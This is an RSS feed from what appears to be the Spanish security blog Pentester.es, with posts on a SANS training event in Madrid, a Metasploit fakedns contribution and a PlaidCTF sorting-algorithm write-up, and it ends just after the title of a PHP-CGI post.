<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-7678234999586772610</atom:id><lastBuildDate>Fri, 01 Jun 2012 10:12:50 +0000</lastBuildDate><category>SeguridadWEB XSS</category><category>SeguridadRedes dns</category><category>Esteganografia</category><category>Formacion</category><category>CMDi</category><category>DefCon</category><category>Conferencias</category><category>Forensics</category><category>tomcat</category><category>BlackHat</category><category>SegutidadRedes</category><category>Cifrado</category><category>SeguridadNavegador</category><category>inteco</category><category>Vulnerabilidad</category><category>OWASP</category><category>SeguridadWEB</category><category>SeguridadLinux</category><category>metaspoit</category><category>SeguridadInalambrica</category><category>SQLi</category><category>PentesterEs</category><category>AtaquesClasicos</category><category>IngenieriaInversa</category><category>Android</category><category>TestDeIntrusion</category><category>LennyZeltser</category><category>apache</category><category>WebAntigua</category><category>Bindiffing</category><category>us-cert</category><category>Herramientas</category><category>SeguridadWEB flash</category><category>Fingerprinting</category><category>information</category><category>SANS</category><category>SeguridadWindows</category><category>IncidentHandling</category><category>GSIC</category><category>metasploit</category><category>Exploiting</category><category>ctf</category><category>Webcast</category><category>Malware</category><category>CheatsSheet</category><category>SeguridadRedes</category><category>InformationGathering</category><category>Snort</category><category>zeroday</category><category>disclosure</category><category>NocONName</category><category>DoS</category><category>rootedcon</category><category>Parches</category><category>XPathi</category><category>Intrusiones</category><category>BruteForce</category><category>criptografia</category><category>XSS</category><category>SeguridadLAN</category><category>meterpreter</category><category>SOURCE</category><title>Pentester.es</title><description>Seguridad de Sistemas Informáticos</description><link>http://www.pentester.es/</link><managingEditor>noreply@blogger.com (Jose Selvi)</managingEditor><generator>Blogger</generator><openSearch:totalResults>194</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/Pentesteres" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="pentesteres" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1736202030033869261</guid><pubDate>Fri, 01 Jun 2012 10:00:00 +0000</pubDate><atom:updated>2012-06-01T12:12:50.279+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">TestDeIntrusion</category><category domain="http://www.blogger.com/atom/ns#">SANS</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">Formacion</category><category domain="http://www.blogger.com/atom/ns#">Intrusiones</category><title>Evento Community SANS en Madrid</title><description>&lt;a href="http://3.bp.blogspot.com/-c6tsutXK5AU/T8fFUpJxJ1I/AAAAAAAAAqg/8ZbquVZbk5k/s1600/sanslogo_block.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-c6tsutXK5AU/T8fFUpJxJ1I/AAAAAAAAAqg/8ZbquVZbk5k/s1600/sanslogo_block.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
El próximo mes de Septiembre, durante su segunda quincena, tendrá lugar en Madrid un evento Community SANS. Tal y como &lt;a href="http://www.pentester.es/p/sans.html" target="_blank"&gt;ya comentamos en esta guía del SANS&lt;/a&gt;, un Community SANS es un evento en el que se realiza uno de los cursos oficiales del SANS, pero con la particularidad de no encontrarse dentro de una de las Conferencias del SANS, y donde además el curso se imparte en el idioma local (aunque los materiales están en Inglés).&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
En este caso, son dos los cursos de SANS que hay disponibles, algo poco habitual en un Community SANS: "&lt;b&gt;&lt;a href="https://www.sans.org/security-training/intrusion-detection-in-depth-43-mid" target="_blank"&gt;SEC-503: Intrusion Detection In-Depth&lt;/a&gt;&lt;/b&gt;" y "&lt;b&gt;&lt;a href="http://www.pentester.es/p/sec-560.html" target="_blank"&gt;SEC-560: Network Penetration Testing &amp;amp; Ethical Hacking&lt;/a&gt;&lt;/b&gt;".&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Otra de las particularidades que va a tener este evento es que, en lugar de hacerse durante una semana (6 días de 6 horas) se va a dividir en dos semanas de la siguiente forma:&lt;/div&gt;
&lt;ul&gt;
&lt;li style="text-align: justify;"&gt;Semana 1: &lt;b&gt;Jueves (20)&lt;/b&gt;, &lt;b&gt;Viernes (21)&lt;/b&gt; y &lt;b&gt;Sábado (22)&lt;/b&gt;&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Semana 2: &lt;b&gt;Jueves (27)&lt;/b&gt;, &lt;b&gt;Viernes (28)&lt;/b&gt; y &lt;b&gt;Sábado (29)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style="text-align: justify;"&gt;
Esta nueva distribución espera facilitar la asistencia de los alumnos en el horario de &lt;b&gt;09:00-17:00&lt;/b&gt; en el que se impartirán las clases.&amp;nbsp;Las clases tendrán lugar en las instalaciones de &lt;a href="http://www.vass.es/index.php/es/" target="_blank"&gt;VASS&lt;/a&gt; en &lt;a href="https://maps.google.com/maps?q=Avenida+Doctor+Severo+Ochoa+25,+alcobendas&amp;amp;hl=es&amp;amp;ie=UTF8&amp;amp;ll=40.543858,-3.651409&amp;amp;spn=0.009099,0.01929&amp;amp;sll=40.541939,-3.652005&amp;amp;sspn=0.018198,0.038581&amp;amp;hnear=Av+del+Doctor+Severo+Ochoa,+25,+28100+Alcobendas,+Madrid,+Comunidad+de+Madrid,+Espa%C3%B1a&amp;amp;t=m&amp;amp;z=16" target="_blank"&gt;Alcobendas&lt;/a&gt; (Madrid), y los profesores serán:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: justify;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-kEh-ii849Cg/T8fEX__xJ5I/AAAAAAAAAqQ/a0L8Hb_nksU/s1600/Ismael_Valenzuela.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-kEh-ii849Cg/T8fEX__xJ5I/AAAAAAAAAqQ/a0L8Hb_nksU/s200/Ismael_Valenzuela.png" width="176" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Ismael Valenzuela&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style="text-align: justify;"&gt;
&lt;a href="https://twitter.com/#!/aboutsecurity" target="_blank"&gt;&lt;b&gt;Ismael Valenzuela&lt;/b&gt;&lt;/a&gt; (&lt;a href="http://blog.ismaelvalenzuela.com/" target="_blank"&gt;blog&lt;/a&gt;, &lt;a href="https://twitter.com/#!/aboutsecurity" target="_blank"&gt;twitter&lt;/a&gt;) es en la actualidad &lt;i&gt;Principal Architect&lt;/i&gt; en &lt;i&gt;McAfee Foundstone EMEA&lt;/i&gt;. Durante los últimos 11 años ha participado en proyectos de seguridad de ámbito internacional en todas sus vertientes, desde la gestión de la seguridad y el análisis de riesgo a las más técnicas como la repuesta ante incidentes, la detección de intrusos y el análisis forense y de malware.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Además de su titulación en Ingeniería Informática y Alta Dirección de Empresas, ostenta nueve certificaciones GIAC (GREM, GCFA, GCIA, GCIH, GPEN, GCUX, GCWN, GWAPT, GSNA) así como CISSP, ITIL, CISM e IRCA 27001 Lead Auditor.&amp;nbsp;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
También participa activamente en la comunidad de seguridad escribiendo artículos para revistas como Hakin9, INSECURE Magazine y el SANS Forensics Blog.&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: justify;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-EfN7OyqCLUo/T8fEmlkgXsI/AAAAAAAAAqY/yscdYyy--zo/s1600/foto.jpg" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="200" src="http://2.bp.blogspot.com/-EfN7OyqCLUo/T8fEmlkgXsI/AAAAAAAAAqY/yscdYyy--zo/s200/foto.jpg" width="164" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Jose Selvi&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style="text-align: justify;"&gt;
&lt;b&gt;&lt;a href="http://twitter.com/#!/joseselvi" target="_blank"&gt;Jose Selvi&lt;/a&gt;&lt;/b&gt; (yo) (&lt;a href="http://www.pentester.es/" target="_blank"&gt;blog&lt;/a&gt;, &lt;a href="http://twitter.com/#!/joseselvi" target="_blank"&gt;twitter&lt;/a&gt;) es en la actualidad &lt;i&gt;Senior Pentester&lt;/i&gt; en &lt;i&gt;S21sec&lt;/i&gt;. Durante los últimos 9 años se ha dedicado principalmente a la realización de Test de Intrusión, la Gestión de Incidentes y la Detección de Intrusiones.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Además de su titulación en Ingeniería Informática e Ingeniería en Telecomunicaciones, ostenta las certificaciones&amp;nbsp;CISA, CISSP, CNAP, GSEC, GCIA, GCIH, GPEN, y se encuentra en la actualidad preparando su Tesis Doctoral.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
También es ponente habitual de las conferencias de seguridad Españolas, colaborador de revistas como Pentest Magazine y escritor de éste blog (Pentester.Es).&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Más información, precios y registro en la web del SANS: &lt;a href="https://www.sans.org/community/event/sec503-madrid-sep-2012" target="_blank"&gt;&lt;b&gt;AQUÍ&lt;/b&gt; (SEC503)&lt;/a&gt; o &lt;a href="https://www.sans.org/community/event/sec560-madrid-sep-2012" target="_blank"&gt;&lt;b&gt;AQUÍ&lt;/b&gt; (SEC560)&lt;/a&gt;.&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
¿Tú qué?&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;¿ATACAS O DEFIENDES?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-UuPRjY8dJOo/T8fTaDe92rI/AAAAAAAAAq0/rEVo4CwaBIA/s1600/boxeo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="266" src="http://2.bp.blogspot.com/-UuPRjY8dJOo/T8fTaDe92rI/AAAAAAAAAq0/rEVo4CwaBIA/s400/boxeo.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-1736202030033869261?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/06/evento-community-sans-en-madrid.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-c6tsutXK5AU/T8fFUpJxJ1I/AAAAAAAAAqg/8ZbquVZbk5k/s72-c/sanslogo_block.jpg" height="72" width="72" /></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-4122898764934238714</guid><pubDate>Sat, 12 May 2012 07:47:00 +0000</pubDate><atom:updated>2012-05-12T09:47:22.806+02:00</atom:updated><title>BestFakeDNS incorporado en Metasploit</title><description>&lt;div style="text-align: justify;"&gt;
Hace algunas semanas estuvimos hablando de &lt;a href="http://www.pentester.es/2012/04/bestfakedns-para-metasploit.html" target="_blank"&gt;&lt;b&gt;BestFakeDNS&lt;/b&gt;&lt;/a&gt;, unas modificaciones que he realizado sobre el módulo FakeDNS original de Metasploit para permitir el uso de Wildcards y para elegir si la lista de objetivos queremos que los resuelva correctamente o con la respuesta falsa (y los que no están en la lista de la forma contraria, claro).&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Esta mejora, además de publicarlas &lt;a href="http://tools.pentester.es/fakedns" target="_blank"&gt;AQUÍ&lt;/a&gt;, la a&lt;a href="https://github.com/rapid7/metasploit-framework/pull/272" target="_blank"&gt;porté como mejora al equipo de desarrollo de Metasploit&lt;/a&gt;, por si querían incorporarla, y esta misma mañana, después de algunos comentarios, he recibido la notificación de que se cerraba el PULL:&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-mAQ9YiIzg0A/T64TsVazU_I/AAAAAAAAAp0/YwcYqJM8Ozo/s1600/WebMetasploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="116" src="http://2.bp.blogspot.com/-mAQ9YiIzg0A/T64TsVazU_I/AAAAAAAAAp0/YwcYqJM8Ozo/s640/WebMetasploit.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
En teoría, tras incorporar IP y Puerto en los mensajes que muestra el módulo, mis mejoras estaban listas para ser incorporadas al trunk principal de la herramienta. Me fui inmediatamente a hacer una actualización a ver si la versión disponible para descarga ya lo incorporaba.&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-SEYDzocQdiQ/T64T6fc32rI/AAAAAAAAAp8/lqgWJvlN9cw/s1600/FakeDNSUpdate.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="138" src="http://4.bp.blogspot.com/-SEYDzocQdiQ/T64T6fc32rI/AAAAAAAAAp8/lqgWJvlN9cw/s640/FakeDNSUpdate.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-V9We3Ru_IH0/T64T-0WkNfI/AAAAAAAAAqE/cVuSR4Pt128/s1600/FakeDNSOptions.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="196" src="http://4.bp.blogspot.com/-V9We3Ru_IH0/T64T-0WkNfI/AAAAAAAAAqE/cVuSR4Pt128/s640/FakeDNSOptions.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Como podeis ver, ya podeis disponer de esta funcionalidad sin tener que descargar el módulo, simplemente a partir de ahora cuando useis el fakedns de Metasploit esta funcionalidad estará incorporada.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Por desgracia parece que han olvidado hacer algún tipo de referencia a que esa mejora ha sido aportada por mi, ya que no aparezco por ningún lado en los créditos del módulo, pero bueno, lo importante es que la funcionalidad está disponible, que al fin y al cabo era lo que pretendía.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-4122898764934238714?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/05/bestfakedns-incorporado-en-metasploit.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-mAQ9YiIzg0A/T64TsVazU_I/AAAAAAAAAp0/YwcYqJM8Ozo/s72-c/WebMetasploit.png" height="72" width="72" /><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2898023664734437237</guid><pubDate>Thu, 10 May 2012 05:28:00 +0000</pubDate><atom:updated>2012-05-10T07:28:00.150+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ctf</category><title>The Game del PlaidCTF</title><description>&lt;div style="text-align: justify;"&gt;
Como os comentaba en mi anterior post, hace un par de semanas estuve intentando un par de retos del &lt;a href="http://plaidctf.com/" target="_blank"&gt;PlaidCTF&lt;/a&gt;. El que más me gustó de los dos fue el que ya os he explicado, pero además de ese también hice uno llamado "The Game" (que para mi gusto era más de programación que de hacking en sí) y que decía tal que así:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Robots enjoy some strange games and we just can’t quite figure this one out. Maybe you will have better luck than us.&lt;br /&gt;184.73.47.70:6969&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Si conectábamos a la IP y puerto que decían mediante NCat o Telnet, nos devolvía algo así:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;You have gotten 0 of 75&lt;br /&gt;Choice 1 = 81dc9bdbf52d04dc20a036dbd8313ed055&lt;br /&gt;Choice 2 = e2f1c714c4727ee9395af324cd2e7f331f&lt;br /&gt;Which one is bigger? (1 or 2)&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
El sistema nos da dos churros incomprensibles y nos pide que digamos cual es mayor. Después de observar unas cuentas veces no parece que el orden sea por su ordenación ASCII, ni que sean hashes de números ni nada similar, así que tendremos que asumir que lo único que podemos hacer es ir aprendiendo que "churro" es mayor que otro por medio de observación de las respuestas del servidor.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://blog.pepelux.org/" target="_blank"&gt;Pepelux&lt;/a&gt; también estuvo pegándose con el reto y lo sacó de una manera similar aunque no idéntica a la que voy a explicar yo. Podeis verlo &lt;a href="http://blog.pepelux.org/2012/04/30/plaidctf-the-game-write-up/" target="_blank"&gt;AQUÍ&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Para explicar el concepto del algoritmo utilizado vamos a suponer que la máquina elige 5 elementos diferentes (en el original serían hashes, y muchos más en cantidad, pero como ejemplo nos vale) que a priori el cliente no sabe en que orden van, aunque el servidor sí que conozca su orden:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-F8dHQdIcaa0/T6BL6mfjzMI/AAAAAAAAApI/EaI2qDHNnrU/s1600/starwars.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="144" src="http://2.bp.blogspot.com/-F8dHQdIcaa0/T6BL6mfjzMI/AAAAAAAAApI/EaI2qDHNnrU/s640/starwars.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
El orden es lo de menos en realidad, pero supongamos que el servidor conoce a estos personajes y sabe que LUKE, aunque sea prota, es un poco soso, que CHEWIE es el papel más sencillo de aprender de la historia, pero que tiene mucho carisma, que YODA es el maestro de maestros pero OBIWAN siempre me ha gustado más, y que por supuesto VADER es el más grande de todos.&lt;br /&gt;
&lt;br /&gt;
La primera idea de algoritmo que tuve es una lista a la que pudiera ir cambiando el orden según los descubrimientos que fuera haciendo, pero se me ocurrió que tenía la pega de que habría que recorrerla cada vez para buscar los elementos que queremos, y eso me parecía un poco "coñazo".&lt;br /&gt;
&lt;br /&gt;
Por eso, pensando en alguna forma en que las búsquedas fueran muy rápidas, decidí usar un tipo de dato diccionario de Python, en los que los índices para buscar fueran los propios hashes, lo cual me permitía buscar el hash de una forma muy rápida. Pero... ¿cómo hacía después para comparar ambos hashes? Pues asignaba un valor entero "tentativo" a cada uno, así solo tenía que acceder por el hash, recuperar sus enteros y compararlos.&lt;br /&gt;
&lt;br /&gt;
Con un pequeño ejemplo ayudado de nuestros amigos de Star Wars seguro que se entiende el algoritmo mucho mejor:&lt;br /&gt;
&lt;br /&gt;
Antes de empezar comentaros que tenemos una variable "step" que la inicializamos a un valor muy alto. Para nuestro ejemplo lo haremos a 100, pero para el caso real se haría a un valor mucho mayor.&lt;br /&gt;
&lt;br /&gt;
1. ¿OBIWAN o CHEWIE?: Ninguno de los dos está en el diccionario, así que elegimos al segundo como mayor. El sistema nos dice que FALLAMOS, así que hacemos lo siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['CHEWIE'] = 0&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['OBIWAN'] = dic['CHEWIE'] + step = 100&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; step = step / 2 = 50&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
2. ¿LUKE o VADER?: Idem que antes. Elegimos el segundo y esta vez ACERTAMOS:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['LUKE'] = 0&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['VADER'] = dic['LUKE'] + step = 50&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; step = step / 2 = 25&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
3. ¿YODA o CHEWI?: Yoda no lo tenemos aún, así que lo escogemos como mayor y ACERTAMOS:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['YODA'] = dic['CHEWI'] + step = 25&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; step = step / 2 = 12&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Vamos a ver como va la cosa en el diccionario y seguimos unos pocos más:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['CHEWIE'] = 0&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['LUKE'] = 0&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['YODA']&amp;nbsp;= 25&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; dic['VADER'] = 50&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['OBIWAN'] = 100&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
4. ¿LUKE o CHEWI?: Están empatados, así que cogemos cualquiera, el primero mismo, y FALLAMOS:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['CHEWIE'] =&amp;nbsp;dic['LUKE'] + step = 12&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; step = step / 2 = 6&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
5. ¿VADER o YODA?: Vader es 50 y Yoda es 25, así que elegimos a Vader y ACERTAMOS, con lo que no tocamos nada, dejamos el diccionario como está.&lt;br /&gt;
&lt;br /&gt;
6. ¿OBIWAN o VADER?: Obiwan es 100 y Vader 50, así que elegimos a Obiwan y FALLAMOS:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['VADER'] =&amp;nbsp;dic['OBIWAN'] + step = 106&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; step = step / 2 = 3&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Vamos a pegar otro vistazo a como llevamos la ordenación por ahora:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['LUKE'] = 0&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['CHEWIE'] = 12&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['YODA']&amp;nbsp;= 25&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['OBIWAN'] = 100&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dic['VADER'] = 106&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Parece que a partir de este punto ya tenemos valores bien asignados en el diccionario, así que a partir de aquí todo van a ser aciertos, 75 o todos los que queramos. Lo único que hay que tener en cuenta es que el parametro step debe estar dimensionado a la cantidad de pasos que pensemos que vamos a necesitar.&lt;br /&gt;
&lt;br /&gt;
Si por ejemplo calculamos que vamos a necesitar N pasos para aprender, entonces tenemos que elegir un step que sea 2^N, para que al ir dividiendo entre dos no nos vayamos a decimales. Tampoco pasaría nada siempre y cuando Python permita representar suficientes decimales (que no tengo ni idea de cuantos permite).&lt;br /&gt;
&lt;br /&gt;
Esta es la idea del script que hice para superar el reto, solo que con un "step" mucho más grande y empleando los hashes en lugar de a nuestros amigos de Star Wars. Podeis descargar el script de &lt;a href="https://sites.google.com/site/pentesteres/Home/pentester-es/thegame.py?attredirects=0&amp;amp;d=1" target="_blank"&gt;&lt;b&gt;AQUÍ&lt;/b&gt; &lt;/a&gt;si&amp;nbsp;tenéis&amp;nbsp;curiosidad en verlo completo.&amp;nbsp;Lamentablemente&amp;nbsp;tardaba bastante la ejecución y tuve que irme antes de que acabara, y cuando lo volví a lanzar ya se había acabado el tiempo del CTF y el servicio no estaba disponible, pero me programé yo un servicio que realizaba lo mismo (con unos pocos elementos) y la solución funcionaba perfectamente, por lo que presumiblemente debería funcionar igual con el servicio real.&lt;br /&gt;
&lt;br /&gt;
Si los PPP publican el código del servicio de este reto lo probaré con él y pondré como una actualización en resultado.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-2898023664734437237?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/05/game-del-plaidctf.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-F8dHQdIcaa0/T6BL6mfjzMI/AAAAAAAAApI/EaI2qDHNnrU/s72-c/starwars.png" height="72" width="72" /><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-4611136199191733910</guid><pubDate>Sat, 05 May 2012 10:52:00 +0000</pubDate><atom:updated>2012-05-05T12:52:20.353+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">zeroday</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><category domain="http://www.blogger.com/atom/ns#">Vulnerabilidad</category><category domain="http://www.blogger.com/atom/ns#">metasploit</category><title>Explotando PHP-CGI</title><description>&lt;div style="text-align: justify;"&gt;
